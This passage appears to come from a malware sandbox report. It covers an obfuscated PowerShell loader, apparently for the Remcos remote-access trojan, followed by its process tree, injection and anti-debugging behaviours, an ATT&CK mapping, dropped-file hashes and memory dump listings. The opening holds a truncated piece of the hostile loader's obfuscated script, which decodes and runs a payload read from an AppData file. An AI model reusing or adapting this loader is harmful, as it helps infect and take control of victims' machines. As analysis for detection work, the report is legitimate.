orfaeRunrorBruge.UnderDmi.ieoUer.awconstnFor ultrstoo onomaNatardLys oF DechiSer nltweageClois(Drfl.$SvabrAFastipBe.rapEmporeA,kanl OmdesSub cii nicnCou ttlavnirBalleeStormrP,sta, kams$Re.ilOMillir Submireevae SplanLagentRidabe K ssrHomode V lbnHugged St,eeBlind)begre ';$Orienterende=$Navneagtig[0];Chesteine (Mekong 'Beer $GarpiGOrendln.kkeoUnderbSydfra FladLSuper: ju eUJomfrNGnaven Unc.A GenbtBesttUsy teRRetiaaWirliL Sp iIsanktSPyohet Nonsi Far.C Synf=Uncov( M anTForbeEXenacsIndskTPluto-N nbopStum aForhatMagnuhLogic haarr$SoritooppebRSandbiS eipEDa.phnInte,tSysteeKvar rPresee MastnMusicdsalt.ERend )Gene ');while (!$Unnaturalistic) {Chesteine (Mekong 'Blu,t$Oks hgCuraslCatbroPljenbKonstaFlavol chry:Voc.mRAhornyU bandLithonLokkeiSkinknPaaregklbehs Breg= oost$Cata,tTomatrCallau Selvepa.te ') ;Chesteine $Strumstrum;Chesteine (Mekong 'B tleSExedrt UdbyaElsierCarditKysha-AcetoSmiljbl eboeegu zleSortbpProje Nonce4Gled. ');Chesteine (Mekong ' Cali$ .eengP.efelImbeloOmfa b RlinaFe.rylCykel:,kjolUS lvhn Emblnsamf a Limntsha.nuGtebarfi,suaConjelSucc,iCon es LofttlustriSsonecmegat=Prepr(HeredT .ilgeSc ewsVoidetIndis-HusdyPSubsiaIndistA gomhTvegg Klren$ AdorOFortrrUnderiBestyeBl,nkn AmfitUnchreFrr,srGenopeFy ennSee adwa ereceleo)Formu ') ;Chesteine (Mekong 'Udgif$KeepbgArrasl Steeo Wit.b pru,a eksel Biog:ZeuglS Faktl demoaskiedv Un eeTumortMechaiBo ofl Hy rv Ar hrSrtr.eGtepal KontsMaxi eImplirFremtn askoeSjoflsSub e= uizz$Rece gruskrlSirb osubstbSistea WomalFoul,:SororPDermaaTriklrIntuiaMasocuPteronThioitBevgee ekspr Omst4Crawf3 Luta+Tilgr+Af,vk%Campa$fami.S PinxoFrdigr edbjb Awole VerdtMet deDissirSkrll.Abor cIndgroQuintuDigitnS.ccht Skrd ') ;$Appelsintrer=$Sorbeter[$Slavetilvrelsernes];}$Tankebanerne=312475;$Myopically=29784;Chesteine (Mekong 'Akkor$Finm g bu glCountoBusteb YaffaViderlTiffi:T,oraTS nitrS,rvio F rsmVa drbTeo,uoPandocGrae.yDataut recet Shake Un.arPreex2 Tid.1 Re.r ems=Metoa aero GCounte KonttBa de-SeborCRheosoForhanBatlotS cioetrkninAntists dde Fora$ RdhtO SubirAlkvaiFlewseFor rnparadtSalice irkerRe isesmr rnSmagedForl,eValou ');Chesteine (Mekong 'Hv lf$FremdgJournlnonlioHariob dslaaDe ialUnsan:FerryH Me liAminop Udvip hromoBrit.tErythoKuttem Cy.eiPummecAkkreaElkholsa le Landb=ber i Raspb[LithoSGrillyAstensTjr.st,leiseEndorm Prod.KofteCMyggeoGonian.robovDelume K.ogrVandft Waff]Sprut:Erhol:halvfF BerrrFord,oMatzomPdagoB estta Dasys.vatoe Flag6 Conf4 MullSKommetSimmerNachuiRuddlnShelbgStrif(U ity$fryseTclabbrA beso lyngmSt esbCaco oExinecAngekyTilprtGravetNrs ne.amalrV.ndl2Bul,e1 yper)Combl ');Chesteine (Mekong 'Tyend$Sc pog PlowlMilieoWingbbFraflaGuitalSalg :LunteUExag nLsengi StranFanossKo,mitRens r,odbauStikbmUndere Re nn tjetPlatyaSkriflArbejlH droyancha Bel e= efro Talje[CigarSn miny aagesPasitt C.lieMountmAchar. NoveTSat ne Statx Sil tImagi.centrEtelefnB inkc llenoExtemd S.amiAiramnvulvogbib.s]Trner: tact: ni rAGardnSBaffiCBlik.I Me aITilvr. UngeGparaleMi,estU cubSDkspltSi,gar moriiOufounSh ddg ukas(Beskf$Cu.hiHAdvokilogi.p VelvpFo paoForsitUdtryoTung,m Ohi i Rot c C oca nvirl Aftv)Vanvi ');Chesteine (Mekong 'Ramsh$Scri.grawi lMelleoNitr bFavrpaUngenlIrbit: VidnTFlyabr oufyForstgRatiolDelageG inerSv,nkiN nlyeUholdr KladnIn orePeriosKlatm= ergp$AsparUFravan SubdiDuellnAtte sSupint idderPistouH andmOxa ae.nbumnTi sktAfv saSuperlMontilTelegy kldt. Du esSuboruU valbforkmsTotaltUnderrBo stiManurnFrig gQuint( Bul $Bo toTAnfrtaContanTrapekTrinveBalstbTweedanringnSolbae strer.laninRotereAdven, Civi$krigsMHerr yNigh o Tekopisoz,iSmirkcPro,ea Idehl DisslTr.lvySalon)Remem ');Chesteine $Trygleriernes;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Network Service Discovery
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:896
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Apertured.Unu && echo t"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1124
    - - C:\Program Files (x86)\windows mail\wabmig.exe
        
        "C:\Program Files (x86)\windows mail\wabmig.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
556534634f730137c43ab276f61d44a3

SHA1
f80a6d258002ced7e045c94945caa191cecb9e7c

SHA256
ca69be79f80b444dd8f7b73cfa0598e5770e3cc63f15430bc18a155f129b5d21

SHA512
44a4282a339e5e3efe069b48ce2ff2b029fc13db6775ee11f44d57318bb99ace3d9292d96a13dce731f7700cbe78cdaf41a1ad566e03b7225c5767fbd55e8159

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u5tstx0v.g2r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Apertured.Unu

Filesize
445KB

MD5
de23e8c307aeb7b1a86e2bcd803f6e8e

SHA1
383ef0f85f58253f67d9956949f0f8d58ff65e4c

SHA256
6bf2233f81a46ed8ac16574bde4974ad570c29fe08c5786be33a0a2978ddb228

SHA512
098660526474c8609345921d6c4ecc19e8364a68dea621d29da141e2aabcf251fd0909f208d04dd69a7d3386c40ffa9fcabd51f25ca69b47ae003ffa05b37aa4

Download Submit
memory/404-59-0x0000000001A60000-0x00000000066CB000-memory.dmp

Filesize
76.4MB

Download
memory/404-46-0x0000000000800000-0x0000000001A54000-memory.dmp

Filesize
18.3MB

Download
memory/404-45-0x0000000001A60000-0x00000000066CB000-memory.dmp

Filesize
76.4MB

Download
memory/896-40-0x00000000086F0000-0x0000000008C94000-memory.dmp

Filesize
5.6MB

Download
memory/896-36-0x0000000007AC0000-0x000000000813A000-memory.dmp

Filesize
6.5MB

Download
memory/896-18-0x0000000002A60000-0x0000000002A96000-memory.dmp

Filesize
216KB

Download
memory/896-19-0x00000000055E0000-0x0000000005C08000-memory.dmp

Filesize
6.2MB

Download
memory/896-20-0x00000000053B0000-0x00000000053D2000-memory.dmp

Filesize
136KB

Download
memory/896-21-0x0000000005450000-0x00000000054B6000-memory.dmp

Filesize
408KB

Download
memory/896-22-0x0000000005540000-0x00000000055A6000-memory.dmp

Filesize
408KB

Download
memory/896-42-0x0000000008CA0000-0x000000000D90B000-memory.dmp

Filesize
76.4MB

Download
memory/896-33-0x0000000005C50000-0x0000000005FA4000-memory.dmp

Filesize
3.3MB

Download
memory/896-34-0x0000000006270000-0x000000000628E000-memory.dmp

Filesize
120KB

Download
memory/896-35-0x00000000062B0000-0x00000000062FC000-memory.dmp

Filesize
304KB

Download
memory/896-39-0x00000000074B0000-0x00000000074D2000-memory.dmp

Filesize
136KB

Download
memory/896-37-0x0000000006830000-0x000000000684A000-memory.dmp

Filesize
104KB

Download
memory/896-38-0x0000000007520000-0x00000000075B6000-memory.dmp

Filesize
600KB

Download
memory/2192-17-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-0-0x00007FFE62FC3000-0x00007FFE62FC5000-memory.dmp

Filesize
8KB

Download
memory/2192-16-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-32-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-43-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-14-0x00007FFE62FC3000-0x00007FFE62FC5000-memory.dmp

Filesize
8KB

Download
memory/2192-12-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-62-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-11-0x00007FFE62FC0000-0x00007FFE63A81000-memory.dmp

Filesize
10.8MB

Download
memory/2192-1-0x000002BE721F0000-0x000002BE72212000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing